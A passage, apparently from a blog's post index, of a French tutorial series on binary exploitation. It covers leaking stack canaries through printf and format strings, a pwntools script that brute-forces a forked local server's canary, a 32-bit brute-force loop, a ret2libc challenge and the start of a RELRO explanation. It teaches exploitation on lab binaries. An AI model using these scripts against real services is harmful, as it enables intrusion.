judicieux d’utiliser une fonction comme io.recvuntil() ou autre pour s’assurer d’avoir tout reçu.Ensuite, un peu de Python pour récupérer les 3 octets du canari (en évitant de récupérer le ` !\\n`) et afficher la valeur finale du canari :In [3]: canari_bytes = b\"\\x00\"+data[265:265+3]In [4]: canari = u32(canari_bytes)In [5]: hex(canari)Out[5]: '0xae3d2300' Astuce pwntools : u32() convertit des octets en un entier de 32 bits. p32 fait l’inverse.L’offset 265 est constitué de la taille du bourrage (257) et de la taille de \"Bonjour \" (8) afin de récupérer directement les 3 derniers octets du canari. Voici ce que ça donne directement dans le script :from pwn import *io = process(\"./canaris_leak_1\")payload = b\"A\" * 257io.send(payload)data = io.recv()# On ajoute l'octet nul qui a été précédemment écrasécanari_bytes = b\"\\x00\"+data[265:265+3]canari = u32(canari_bytes)print(\"[+] Le canari vaut : \",hex(canari))io.interactive()Cette technique n’est pas seulement utile pour afficher le canari mais peut être utilisée pour afficher d’autres valeurs sur la pile. Cela nous sera très utile quand nous activerons l’ASLR 🫣. Sauf mention contraire, nous allons faire l’hypothèse dans ce chapitre que l’ASLR est activée. Ainsi, n’oubliez pas de l’activer (echo 2 &gt; /proc/sys/kernel/randomize_va_space) si ce n’est pas déjà le cas. En effet, lorsque l’ASLR est désactivée, la valeur du canari peut rester identique d’une exécution à une autre pour les programmes 32 bits. Cela n’est pas le cas pour les programmes 64 bits dont le canari varie dans tous les cas, indépendamment de l’activation ou non de l’ASLR.Contrôle d’une chaîne de caractères formatéeNous n’avons pas encore vu ensemble ce que sont les chaînes de format (format strings 🇬🇧) mais comme connaître le langage C est un prérequis de ce cours, j’imagine que vous savez de quoi il s’agit 😉.Ce sont des chaînes de caractères comme celle que nous avions utilisées dans printf(\"Bonjour %s !\\n\",prenom);. Nous n’allons pas détailler l’exploitation d’un mauvais usage de format strings ici car nous nous y intéresserons plus tard dans le cours. Nous allons seulement voir comment cela peut nous permettre d’afficher la valeur du canari.Prenons le programme suivant :#include \"stdio.h\"#include \"unistd.h\"int main(){ char prenom[256] = {0}; read(0,prenom,500); puts(\"Bonjour : \"); printf(prenom); # format string vulnérable ici return 0;}Compilons-le en 64 bits cette fois-ci avec clang -no-pie -fstack-protector main_leak_2.c -o canaris_leak_2.Pour le conteneur Docker : ⬇️ Téléchargement : pwn-stack-canaris_leak_2.zip 🔎 SHA256 &amp; Analyse Virus Total : e5c777a63e683d3c1d6d796849702a9176d1e62467c1171517a1df94d5dbfaec ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-canaris_leak_2 .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-canaris_leak_2Lançons le comme suit :$ ./canaris_leak_2%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p Bonjour : 0x4052a0-(nil)-0x7ffff7ec35a4-0x7ffff7faab20-0x410-(nil)-(nil)-0x7fffffffe380-(nil)-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0xa-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-(nil)-0x7fffffffe570-0x61f9812fbcd8a00La dernière valeur affichée 0x61f9812fbcd8a00 est le canari, on le reconnaît grâce à l’octet de poids faible qui est nul. Si vous n’avez pas compris comment cette entrée a permis d’afficher sa valeur, ce n’est pas grave car nous nous y pencherons plus tard ⏳. Et comment tu as su le nombre de fois qu’il fallait utiliser %p pour afficher la valeur du canari ?En tâtonnant et en utilisant gdb 🙃.🫣 Ignorer le canariCette astuce ne concerne malheureusement pas les exploitations par buffer overflow. Par contre, dans le cas où : il est possible d’écrire une valeur arbitraire à n’importe quelle adresse ; l’adresse sur la pile où est stockée l’adresse de retour est connue.Il est possible de réécrire l’adresse de retour sans avoir à en découdre avec le canari. De ce fait, ce n’est pas parce qu’un programme est protégé avec des canaris qu’il est difficile d’accéder à l’adresse de retour et la modifier.🕵️‍♂️ Faire fuiter des informations grâce au canariDans d’anciennes versions de la libc, le message affiché lorsque le canari est écrasé n’est pas exactement le même que celui que nous avons de nos jours : avant la version 2.26 : *** stack smashing detected ***: ./nom_prgrm terminated ; après la version 2.26 : *** stack smashing detected ***: terminated. D’accord, auparavant le nom du programme était affiché mais en quoi est-ce important 🤔 ?Pour comprendre en quoi cette petite différence est importante, il est nécessaire de jeter un œil aux différentes versions de la fonction __fortify_fail_abort dont l’ancien nom est __fortify_fail : version 2.26 de la fonction ici ; version 2.25 de la fonction ici.On remarque que dans l’ancienne version (2.25), le contenu de __libc_argv[0] est toujours affiché. Or __libc_argv[0] est le nom du programme courant, situé sur la pile. Ainsi, en écrasant le canari nous affichons le message *** stack smashing detected ***: ./nom_prgrm terminated mais en écrasant davantage de valeur sur la pile jusqu’à écraser __libc_argv[0], il devient alors possible de rediriger ce pointeur vers une adresse arbitraire.De cette manière, lorsque le message mentionnant l’écrasement du canari s’affiche, il affiche dans la foulée le contenu pointé par l’adresse arbitraire précédemment utilisée ! Désormais le contenu de __libc_argv[0] n’est pas automatiquement affiché ; cela n’est fait que si l’argument need_backtrace vaut true, ce qui n’est généralement pas le cas par défaut.Pour les plus curieux, si vous souhaitez voir ce que cela donne concrètement dans un challenge, en voici un exemple.📋 SynthèseNous avons exploré plusieurs méthodes pour contourner les canaris dans des scénarios de stack buffer overflow : Fuite de la valeur : exploiter des débordements ou vulnérabilités ( printf, format string) pour lire le canari malgré son octet nul. Par exemple, écraser cet octet dans une boucle pour manipuler le contenu affiché par le programme. Ignorer le canari : modifier directement l’adresse de retour en cas de capacité d’écriture arbitraire. Exploitation des anciennes versions de la glibc (avant 2.26) : manipuler la pile pour détourner __libc_argv[0] et afficher des données via le message d’erreur généré par un écrasement du canari." }, { "title": "Partie 12 - Contourner les canaris - exploitation avancée et limites (2/2)", "url": "/posts/introduction_au_pwn_partie_12/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-27 08:00:00 -0200", "snippet": "Contourner les canaris : exploitation avancée et limites (2/2)Voyons ensemble ce qu’il est possible de faire lorsque nous ne pouvons pas faire fuiter la valeur du canari.🦾 Utilisation de la force b...", "content": "Contourner les canaris : exploitation avancée et limites (2/2)Voyons ensemble ce qu’il est possible de faire lorsque nous ne pouvons pas faire fuiter la valeur du canari.🦾 Utilisation de la force bruteMalheureusement, il n’est pas toujours possible de récupérer la valeur du canari en la faisant fuiter. Dans certains cas, il va falloir prendre le taureau par les cornes.Il y a deux situations possibles : soit le programme est issu de la fonction fork : nous pouvons alors utiliser un brute force “intelligent” ; soit il ne l’est pas : nous devons utiliser un brute force classique.Processus issu d’un fork 👶Contrairement à Windows, Linux possède un mécanisme permettant de cloner un processus. Ce que l’on entend par “cloner” est que toute la mémoire du processus, les descripteurs de fichiers et le contexte d’exécution (registres …) sont copiés pour en faire un nouveau processus. Tout n’est pas totalement dupliqué, pour savoir ce qui ne l’est pas, vous pouvez vous référer à man fork.On appelle processus père 👨 le processus qui a appelé fork et processus fils 👶 celui qui a été lancé par fork. L’utilité et l’intérêt d’utiliser fork sont discutées mais ce n’est pas le sujet ici 🫣.man fork liste tous les éléments qui ne sont pas clonés dans le processus fils par fork. Heureusement pour nous, le canari n’en fait pas partie. Autrement dit, le processus père et le processus fils partagent le même canari !Il est possible de rencontrer certains challenges qui utilisent fork, notamment dans des programmes qui jouent un rôle de serveur avec des tâches à traiter provenant de clients. Cela signifie qu’à chaque fois que l’on se connecte au serveur, un processus fils avec le même canari est généré. D’accord, on sait que le canari du processus fils sera toujours le même, mais en quoi cela nous avance ? On ne sait toujours pas quelle est sa valeur 😶.Le fait de savoir que le canari ne change pas d’une connexion à une autre ne nous donne pas directement sa valeur, je vous l’accorde.Néanmoins, il existe une manière d’en tirer profit. Voyons un exemple (merci ChatGPT 🤖 pour les travaux) avec le programme ci-dessous qui traite les connexions avec un fork.Le programme est un peu plus long que d’habitude, honnêtement, il n’y a pas besoin de comprendre comment il fonctionne au détail près, ce n’est pas le but. Plusieurs fonctions ne sont utilisées que pour gérer la partie réseau du programme. Nous allons rapidement survoler ce qu’il fait et nous intéresser au moyen de trouver le canari.#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;string.h&gt;#include &lt;unistd.h&gt;#include &lt;arpa/inet.h&gt;#define PORT 55555#define BUFFER_SIZE 256void handle_client(int client_fd) { char prenom[BUFFER_SIZE] = {0}; read(client_fd, prenom, 500); dprintf(client_fd, \"Bonjour !\\n\");}void handle_client_wrapper(int client_fd){\tdprintf(client_fd, \"Connexion ...\\n\");\thandle_client(client_fd);\tdprintf(client_fd, \"... Deconnexion\\n\");\tclose(client_fd);}int main() { int server_fd, client_fd; struct sockaddr_in server_addr, client_addr; socklen_t client_addr_len = sizeof(client_addr); // Create a socket if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(\"Socket creation failed\"); exit(EXIT_FAILURE); } // Bind the socket to localhost and port 55555 server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = htonl(INADDR_ANY); server_addr.sin_port = htons(PORT); if (bind(server_fd, (struct sockaddr *)&amp;server_addr, sizeof(server_addr)) == -1) { perror(\"Bind failed\"); close(server_fd); exit(EXIT_FAILURE); } // Listen for incoming connections if (listen(server_fd, 10) == -1) { perror(\"Listen failed\"); close(server_fd); exit(EXIT_FAILURE); } printf(\"Server is running on localhost:%d\\n\", PORT); // Accept and handle incoming connections while (1) { client_fd = accept(server_fd, (struct sockaddr *)&amp;client_addr, &amp;client_addr_len); if (client_fd == -1) { perror(\"Accept failed\"); continue; } printf(\"Connection accepted\\n\"); // Fork a new process to handle the client pid_t pid = fork(); if (pid == -1) { perror(\"Fork failed\"); close(client_fd); continue; } if (pid == 0) { // Child process: handle the client close(server_fd); // Close the server socket in the child process handle_client_wrapper(client_fd); exit(0); // Terminate the child process } else { // Parent process: close the client socket and continue close(client_fd); } } // Close the server socket (will never reach here in this implementation) close(server_fd); return 0;}Voici ce que fait le programme : il s’agit d’un serveur qui tourne en local à l’adresse 127.0.0.1 sur le port 55555 ; lorsqu’un client se connecte, un fork est réalisé ; le processus fils exécute alors handle_client_wrapper qui appelle handle_client. C’est dans handle_client qu’il y a une vulnérabilité de dépassement de mémoire.Vous trouvez sans doute un peu bizarre la présence de handle_client_wrapper qui a l’air de ne pas faire grand chose. Détrompez-vous ! C’est justement grâce à cette fonction qu’il devient possible d’utiliser la force brute intelligemment par la suite.Compilons le programme en 64 bits avec : clang -m64 -no-pie -fstack-protector main_bf_partiel.c -o canaris_bf_partiel.Si vous souhaitez utiliser le conteneur Docker : ⬇️ Téléchargement : pwn-stack-canaris-bf-partiel.zip 🔎 SHA256 &amp; Analyse Virus Total : caac6e8e2eb60c53389eef4026be2a74b13b05ef1bef640c02b725f3adb16019 ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-canaris-bf-partiel .docker run -it --rm -p 1234:1234 -p 55555:55555 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-canaris-bf-partiel Désormais, le port 1234 sera ouvert dans les conteneurs afin que vous puissiez vous connecter (depuis l’extérieur) à gdbserver (à l’intérieur) afin de déboguer le programme à distance si besoin.Ouvrons deux terminaux : premier terminal : lancez le programme avec ./canaris_bf_partiel, il s’agit du serveur ; deuxième terminal : connectez-vous au serveur avec nc 127.0.0.1 55555, c’est le client. Pour ceux qui utilisent le conteneur Docker, vous devriez pouvoir vous connecter au serveur depuis votre machine, à l’extérieur du conteneur.En nous connectant, nous obtenons ceci :$ nc 127.0.0.1 55555 Connexion ... azert Bonjour ! ... Deconnexion Contrairement au précédent programme, ici printf n’affiche pas le contenu du buffer sinon il aurait été possible de faire fuiter le canari. Cela rendrait l’utilisation de la brute force inutile.Que se passe-t-il lorsque l’on envoie un payload de plus de 300 octets ?$ nc 127.0.0.1 55555 Connexion ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Bonjour !Désormais \"... Deconnexion\" ne s’affiche plus ! Le processus fils a détecté que le canari a été modifié et s’est prématurément arrêté. Ainsi, ces deux lignes à la fin de la fonction handle_client_wrapper ne sont pas exécutées :dprintf(client_fd, \"... Deconnexion\\n\");close(client_fd); Pourquoi le serveur ne s’arrête pas s’il détecte une tentative d’exploitation ?Ici ce n’est pas le canari du processus père (serveur) qui est écrasé mais celui du processus fils (client). C’est donc le processus fils qui s’arrête.Nous allons pouvoir trouver les octets du canari un à un de cette manière : il faut premièrement trouver la taille du payload permettant d’atteindre l’octet nul du canari en observant à partir de quelle taille le message ... Deconnexion disparaît ; nous pouvons alors ajouter l’octet nul du canari au payload ; on ajoute un octet valant 0, puis 1 … jusqu’à 255. On s’arrête lorsque le message ... Deconnexion réapparaît. Cette valeur est alors sauvegardée et on passe à l’octet suivant ; on recommence la 3ème étape pour les autres octets et on s’arrête lorsque l’on a trouvé les 7 octets de poids fort du canari.Pour trouver les 7 octets, il nous faudra dans le pire des cas 7*256 = 1792 essais pour y parvenir, ce qui est tout à fait faisable, même dans le cadre d’un challenge à distance.Voici ce que cela donne dans un script :from pwn import *from time import sleep# Desactivation des logs non nécessairescontext.log_level = 'critical'# On connait le premier octetcanari = b\"\\x00\"for byte_i in range(7): print(f\"[+] Itération n°[{byte_i+1}]\") for val_j in range(256): \t # Connexion \"a distance\" ;) io = remote(\"127.0.0.1\",55555) payload = b\"A\" * 264 payload += canari payload += p8(val_j) io.send(payload) sleep(0.01) data = io.recv() # Recuperation de la sortie if b\"... Deconnexion\" in data: print(f\"Octet n°{byte_i+1} -&gt; {hex(val_j)}\") canari += p8(val_j) # On sauvegarde l'octet trouve io.close() break # On passe à l'octet suivant io.close() print(\"[+] Le canari est : \",hex(u64(canari)))Quelques remarques : io = remote(\"127.0.0.1\",55555) permet de communiquer avec un processus distant en TCP. Il suffit de spécifier l’adresse IP et le port. La communication avec les fonctions du type io.send() et io.recv() se font ensuite comme d’habitude. Pour chacun des octets nous essayons les 256 possibilités et nous passons à l’octet suivant une fois que ... Deconnexion est présent dans la sortie. Le souci avec io.recv() est qu’il peut nous jouer des tours lorsque l’on communique avec un programme distant. Nous utilisons sleep(0.01) afin d’attendre un minimum avant de récupérer les données reçues pour ne rien louper.Lançons le script :[+] Itération n°[1]Octet n°1 -&gt; 0x8c[+] Itération n°[2]Octet n°2 -&gt; 0x1e[+] Itération n°[3]Octet n°3 -&gt; 0x81[+] Itération n°[4]Octet n°4 -&gt; 0x7b[+] Itération n°[5]Octet n°5 -&gt; 0x59[+] Itération n°[6]Octet n°6 -&gt; 0x11[+] Itération n°[7]Octet n°7 -&gt; 0x29Le canari est : 0x2911597b811e8c00Le résultat est obtenu en moins de 10 secondes 🏎️ ! Bon, en vrai ce n’est pas un vrai serveur distant donc il y a beaucoup moins de latence mais l’ordre de grandeur est de la minute.Programme non issu d’un forkDans le cas d’un programme classique, qui n’est pas le résultat d’un fork, nous n’aurons pas d’autres choix que d’utiliser la force brute pour trouver d’un coup les 3 (ou 7) octets de poids fort du canari. En effet, dans ce scénario il n’est malheureusement pas possible de trouver les octets un à un.Evidemment, nous utilisons ce scénario lorsqu’il n’est pas possible de faire fuiter ou contourner le canari d’une autre manière, auquel cas l’utilisation de la force brute ne serait pas justifiée.Le canari est généré de manière aléatoire à partir de /dev/urandom. en 32 bits, il y a une chance sur 16 777 216 (0x1000000) de trouver le canari, ce qui est assez grand, mais pas impossible. en 64 bits, il y a une chance sur 72 057 594 037 927 936 (0x100000000000000) ce qui n’est pas faisable avec une machine, même puissante, en moins d’un mois (en faisant l’analogie avec le bruteforce d’un mot de passe de 7 caractères).En 32 bits, nous pouvons utiliser la force brute pour trouver le canari et ce, même sur une machine personnelle. Pour vous en convaincre, utilisons le programme suivant main_full_bf.c :#include \"stdio.h\"int main(){ char buf[0x100] = {0}; unsigned int canari = *(unsigned int *)(&amp;buf[0x100]); unsigned int deadbe00 = 0xdeadbe00; if(canari == deadbe00) { puts(\"Bravo ! Vous avez trouvé la valeur du canari !\"); getchar(); } return 0;}Le canari est situé immédiatement après le buffer buf dont la valeur est récupérée dans canari. Ensuite, nous comparons la valeur de canari avec 0xdeadbe00 et s’ils ont la même valeur, \"Bravo ! Vous avez trouvé la valeur du canari !\" est affiché. Nous avons choisi ici 0xdeadbe00 mais vous pouvez choisir n’importe quelle valeur de 32 bits tant que l’octet de poids faible est nul.Compilons le programme avec clang -m32 -no-pie -fstack-protector main_full_bf.c -o canaris_full_bf.Ajoutons, dans le même dossier, le script bash suivant :#!/bin/bash while true; do ./canaris_full_bf; doneCe script va lancer en boucle le programme. Si \"Bravo ! Vous avez trouvé la valeur du canari !\" s’affiche, cela signifie que lors d’un des tours de la boucle, le canari valait bien 0xdeadbe00 et c’est gagné.Pour aller plus vite, nous allons exécuter ce script en parallèle sur plusieurs cœurs (dans mon cas 10) du processeur grâce à l’outil parallel :parallel --line-buffer --jobs 10 ./script.sh ::: {1..10} En lançant cette commande et en fonction de votre machine, cette dernière risque de beaucoup chauffer 🔥.Après 42 minutes, il y a un cas où le canari vaut 0xdeadbe00. Trouver la valeur du canari en moins d’une heure n’est pas considéré comme très long en termes d’exploitation dans le cas d’un challenge où l’on a accès à la machine du programme vulnérable. Dans le cas d’un challenge à distance, cela prendrait bien plus de temps et perdrait de son intérêt.Trouver la valeur du canari, ensuite ? On a vu différentes manières de récupérer ou contrôler la valeur du canari mais ensuite on fait quoi ?A l’instar du contrôle de eip, connaître la valeur du canari n’est qu’une étape intermédiaire lors de l’exploitation d’un programme.A partir du moment où nous pouvons faire abstraction du canari, car nous connaissons sa valeur, il suffit simplement de l’insérer au bon offset du payload et continuer l’exploitation en ignorant sa présence.Par exemple, dans le cas que nous avons rencontré précédemment où l’ASLR est désactivée et la pile n’est pas exécutable, nous pouvons tenter un ret2libc. La seule différence est que nous devrons insérer la valeur du canari dans notre payload en partant de ceci :[padding]+[adresse de retour n°1]+[adresse de retour n°2]+[arg n°1] + [...] vers cela :[padding n°1]+[canari]+[padding n°2]+[adresse de retour n°1]+[adresse de retour n°2]+[arg n°1] + [...] avec : [padding n°1] : le bourrage permettant d’atteindre le canari ; [padding n°2] : le bourrage écrasant les registres sauvegardés (donc ebp) permettant d’atteindre l’adresse de retour à modifier.📋 SynthèseNous avons exploré deux techniques basées sur la force brute pour exploiter un programme lorsque la valeur du canari demeure inconnue : Force brute partielle (avec fork) : le processus fils partage le même canari que le processus père ; on devine les octets du canari un à un, en testant toutes les valeurs pour un octet donné jusqu’à ce que le programme termine son exécution normalement. Force brute totale (sans fork) : nécessite de deviner tous les octets du canari d’un seul coup ; faisable en 32 bits avec une probabilité d’environ 1 sur 16 millions, mais non réalisable en 64 bits. Ces approches, bien que coûteuses, restent utiles en dernier recours lorsque les autres stratégies échouent.Une fois que la valeur du canari est connue, il suffit de l’insérer au bon endroit dans le payload et passer aux étapes suivantes de l’exploitation, comme le contrôle de eip en vue d’un ret2libc." }, { "title": "Partie 13 - 🏆 Challenge - exploiter un binaire avec ret2libc et canaris", "url": "/posts/introduction_au_pwn_partie_13/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-26 08:00:00 -0200", "snippet": "🏆 Challenge : exploiter un binaire avec ret2libc et canarisA ce stade, nous avons vu ensemble pas mal de protections et de méthodes d’exploitation concernant les buffer overflow sur la pile. Ce ser...", "content": "🏆 Challenge : exploiter un binaire avec ret2libc et canarisA ce stade, nous avons vu ensemble pas mal de protections et de méthodes d’exploitation concernant les buffer overflow sur la pile. Ce serait dommage d’oublier les principales informations retenues faute de pratique.Le but de ce challenge, en termes de pédagogie, est de consolider vos acquis sur ce qui a été vu jusqu’à présent mais aussi de mieux vous familiariser avec pwntools. Également, le code source de ce challenge ne sera pas disponible, il va falloir entamer une première étape de rétro-ingénierie afin de comprendre ce qu’il fait et où réside la ou les vulnérabilités. ⬇️ Téléchargement : chall-ret2libc-canaris.zip 🔎 SHA256 &amp; Analyse Virus Total : 0dfecc08800539226b687db4871b0662deb677ef8c8e5113199b34c9c1b8108f 🎯 Objectif : afficher le contenu de flag.txt en devenant root💻 Contexte d’exécutionAfin de se placer dans le contexte d’exécution prévu pour ce challenge, il est nécessaire de : désactiver l’ASLR ; exploiter le programme en tant qu’utilisateur challenger.Un conteneur Docker est fourni afin que vous puissiez avoir un environnement de travail correct et cohérent avec le challenge indépendamment de votre distribution.💫 Lancer le challengeCi-dessous les commandes permettant de lancer le challenge : construction du conteneur : docker build -t chall-ret2libc-canaris .; lancement du conteneur et du challenge :docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined chall-ret2libc-canarisLe port 1234 est ouvert afin de pouvoir déboguer à distance le programme avec gdbserver depuis la machine hôte. Vous pouvez résoudre le challenge directement dans le conteneur Docker.🤓 Quelques conseilsVoici quelques pistes de réflexion lorsque l’on est face à un challenge de pwn : Cherchez les protections en place pour déterminer quelles techniques d’exploitation seront utilisables et lesquelles ne le sont pas. Débroussaillez le code désassemblé afin de savoir ce que représente chaque variable. Quelles vulnérabilités sont présentes ? Que permet chacune d’elles ? Est-il possible de combiner l’exploitation de plusieurs de ces vulnérabilités pour réussir à exploiter le programme ? Quelles sont les principales étapes intermédiaires avant de réussir à ouvrir un shell ? N’hésitez pas à utiliser recvuntil() afin d’éviter d’avoir un exploit qui fonctionne une fois sur deux. Cela permet également d’éviter de remplir votre script d’appels à sleep(). Ces conseils ne sont pas des vérités absolues. Ce n’est pas parce que vous avez une approche différente qu’elle n’est pas valide ou intéressante.💡 IndicesVoici quelques indices qui devraient vous permettre d’avancer lorsque vous êtes bloqués et que vous ne voyez pas comment aller plus loin.💡 Indice n°1TGUgcHJvZ3JhbW1lIHNlbWJsZSB1dGlsaXNlciB1bmUgc3RydWN0dXJlLiBOZSBzZXJhaXQtY2UgcGFzIHBsdXMgc2ltcGxlIGRlIGxhIHLDqWltcGzDqW1lbnRlciBkYW5zIGxlIGTDqWNvbXBpbGF0ZXVyIGFmaW4gZCd5IHZvaXIgcGx1cyBjbGFpciA/CgpFc3NheWV6IGRlIGNvbXByZW5kcmUgY2UgcXVlIGZhaXQgY2hhY3VuZSBkZXMgNCBhY3Rpb25zIGR1IHByb2dyYW1tZS4=💡 Indice n°2UG91cnF1b2kgZGlmZsOpcmVudGVzIGZvbmN0aW9ucyBzb250IHV0aWxpc8OpZXMgcG91ciByw6ljdXDDqXJlciBsJ2VudHLDqWUgZGUgbCd1dGlsaXNhdGV1ciA/IFF1ZWxsZXMgc29udCBsZXVycyBkaWZmw6lyZW5jZXMgPw==💡 Indice n°3WSBhLXQtaWwgdW4gc291Y2kgYXZlYyBsYSBib3VjbGUgcXVpIHLDqWN1cMOocmUgbGEgZGVzY3JpcHRpb24gPw==💡 Indice n°4TGUgY2hvaXggbsKwMyBwZXJtZXQgZCdhZmZpY2hlciBsZXMgZG9ubsOpZXMgZCd1biB1dGlsaXNhdGV1ci4gRXN0LWlsIHBvc3NpYmxlIGRlIGZhaXJlIGZ1aXRlciBsZSBjYW5hcmkgZW4gdXRpbGlzYW50IGFzdHVjaWV1c2VtZW50IGNlIGNob2l4ID8=💡 Indice n°5VW5lIGZvaXMgbGUgY2FuYXJpIHLDqWN1cMOpcsOpLCBpbCBlc3QgcG9zc2libGUgZCdleHBsb2l0ZXIgbGUgcHJvZ3JhbW1lIHZpYSB1biByZXQybGliYy4gRW5jb3JlIGZhdXQtaWwgZm9yY2VyIGxhIGZvbmN0aW9uICJtYWluIiDDoCBmaW5pciBzb24gZXjDqWN1dGlvbiAuLi4KCk/DuSBlc3QtaWwgcG9zc2libGUgZGUgc3RvY2tlciBmYWNpbGVtZW50IGxlcyBhcmd1bWVudHMgZGUgbGEgZm9uY3Rpb24gw6AgYXBwZWxlciA/" }, { "title": "Partie 14 - Comprendre les mécanismes de protection mémoire - RELRO", "url": "/posts/introduction_au_pwn_partie_14/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-25 08:00:00 -0200", "snippet": "Comprendre les mécanismes de protection mémoire : RELRORELRO aka “RELocation Read-Only” (ou Relocalisation en lecture seule 🥖) est une protection qu’il est important de connaître car son absence fa...", "content": "Comprendre les mécanismes de protection mémoire : RELRORELRO aka “RELocation Read-Only” (ou Relocalisation en lecture seule 🥖) est une protection qu’il est important de connaître car son absence facilite grandement l’exploitation d’un programme, notamment lorsque l’on dispose d’une primitive d’écriture arbitraire. Inversement, sa présence nous met des bâtons dans les roues 🤕. Avant de nous parler de la protection, faudrait ptet’ que tu nous parles de ce que sont les relocalisations non?Zé partiii.📍 Les relocalisationsGestion statique ou dynamique des fonctionsCommençons par le commencement. Un programme peut être compilé de deux manières : statiquement : la libc (ou autre librairie utilisée) sera incluse dans le programme compilé ; dynamiquement : les librairies utilisées ne seront chargées qu’au lancement du programme.Dans le premier cas, pour les programmes compilés statiquement, la libc est en partie incluse dans le programme. Cela génère un programme plus gros mais les appels de fonctions se font comme si la fonction de la librairie (ex : printf, malloc…) était présente dans le code source lors de la compilation.En revanche, lorsque le programme est compilé dynamiquement, les fonctions des librairies utilisées ne sont pas présentes dans le programme. Il est donc nécessaire d’avoir un mécanisme permettant d’appeler les fonctions tierces utilisées. Celui qui permet de réaliser un tel mécanisme, vous le connaissez, c’est ld !Les relocalisations vont donc permettre au programme de savoir où sont situées les différentes variables globales et fonctions externes.Chargement dynamique des fonctionsPar défaut, gcc compile dynamiquement le programme C donné en entrée. Pour comprendre comment fonctionne les relocations, utilisons le programme suivant :#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;int main(){\tvoid *tmp = malloc(0x100);\tputs(\"Hello, World !\");\t\texit(0);\treturn 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-relro-exemple-1.zip 🔎 SHA256 &amp; Analyse Virus Total : 38810e4d2332b9f632003dc998df83633eb78a18e3d5ce13e8ec58c150b5f967 ⚙️ Construction et lancement du conteneur :docker build -t pwn-relro-exemple-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-relro-exemple-1Nous le compilerons de différentes manières afin de voir les spécificités des protections liées aux relocalisations. Compilons-le tout d’abord sans spécifier de paramètre quant aux relocalisations : gcc -g -no-pie -fno-pie main.c -o exe. PIE est désactivé afin de faciliter le débogage et l’explication des relocalisations.Ouvrons le programme dans gdb et mettons un point d’arrêt sur main. Une fois arrivé sur le point d’arrêt, utilisons la commande got via gdb-gef++: Si vous déboguez le programme à distance, utilisez plutôt gdb-pwndbg avec la commande got plutôt que gdb-gef++ qui galère à lancer got à distance.Ce qui nous intéresse particulièrement, ce sont les trois dernières lignes. Nous y voyons les 3 fonctions de la libc que notre programme utilise. Intéressons-nous pour l’instant au contenu des deux colonnes : GOT : il s’agit du pointeur vers la fonction de la libc. Le pointeur est situé dans le programme ; GOT value : contenu du pointeur. Cela devrait, normalement, être une adresse de la libc.La GOT (Global Offset Table) est une zone mémoire située dans le programme et qui contient une table de pointeurs vers des variables globales et fonctions situées dans des bibliothèques dynamiques. Pour l’instant, faisons abstraction de la section PLT. Mais aucun des trois pointeurs ne pointe vers la libc ? Ils pointent tous vers une zone au sein du programme avec une adresse du type : 0x4010X0.Vous avez l’œil ! Vous n’avez pas tort, les pointeurs dans la GOT ne pointent pas vers puts, malloc ou exit, du moins, pas encore 😉. Mettons un point d’arrêt sur call exit et réutilisons la commande got une fois arrivés :Cette fois-ci les pointeurs de puts et malloc(situés dans la GOT) pointent bien vers les fonctions puts et malloc dans la libc. En revanche, le pointeur vers exit pointe toujours au sein du programme courant (0x401050).On devine aisément ce qui s’est passé : comme putset malloc ont été appelées, mais pas encore exit, seuls les deux premiers pointeurs ont été mis à jour.Nous avons donc une réponse à la première question “où sont stockées les informations liées aux fonctions externes appelées ?”. Mais une seconde question reste en suspens : comment ces pointeurs sont utilisés ?De l’instruction d’appel à la fonctionAvant de nous jeter directement dans les méandres de l’appel des fonctions chargées dynamiquement, voyons comment cela est réalisé d’un point de vue macro, par exemple, lorsque malloc(0x100)est appelée depuis main:Ce n’est pas le meilleur schéma du monde, mais j’espère qu’il fera l’affaire 😅. Notre objectif va être de comprendre ce qui se passe depuis l’appel de la fonction mallocdans la fonction main jusqu’à son exécution effective dans la libc.Tout d’abord, distinguons deux cas : numéros en 🟢 : la fonction a déjà été appelée une fois : son symbole est déjà résolu ; numéros en 🔴 : elle n’a pas encore été appelée.Commençons par le premier cas qui est le plus simple.🟢 Appel d’une fonction dont le symbole a déjà été résolu1️⃣ : la fonction mallocest appelée depuis main. Enfin, ce n’est pas réellement la fonction mallocqui est appelée mais malloc@plt. Il s’agit d’une toute petite fonction située dans la PLT (Procedure Linkage Table) qui est également une zone mémoire présente au sein du programme. Son rôle est 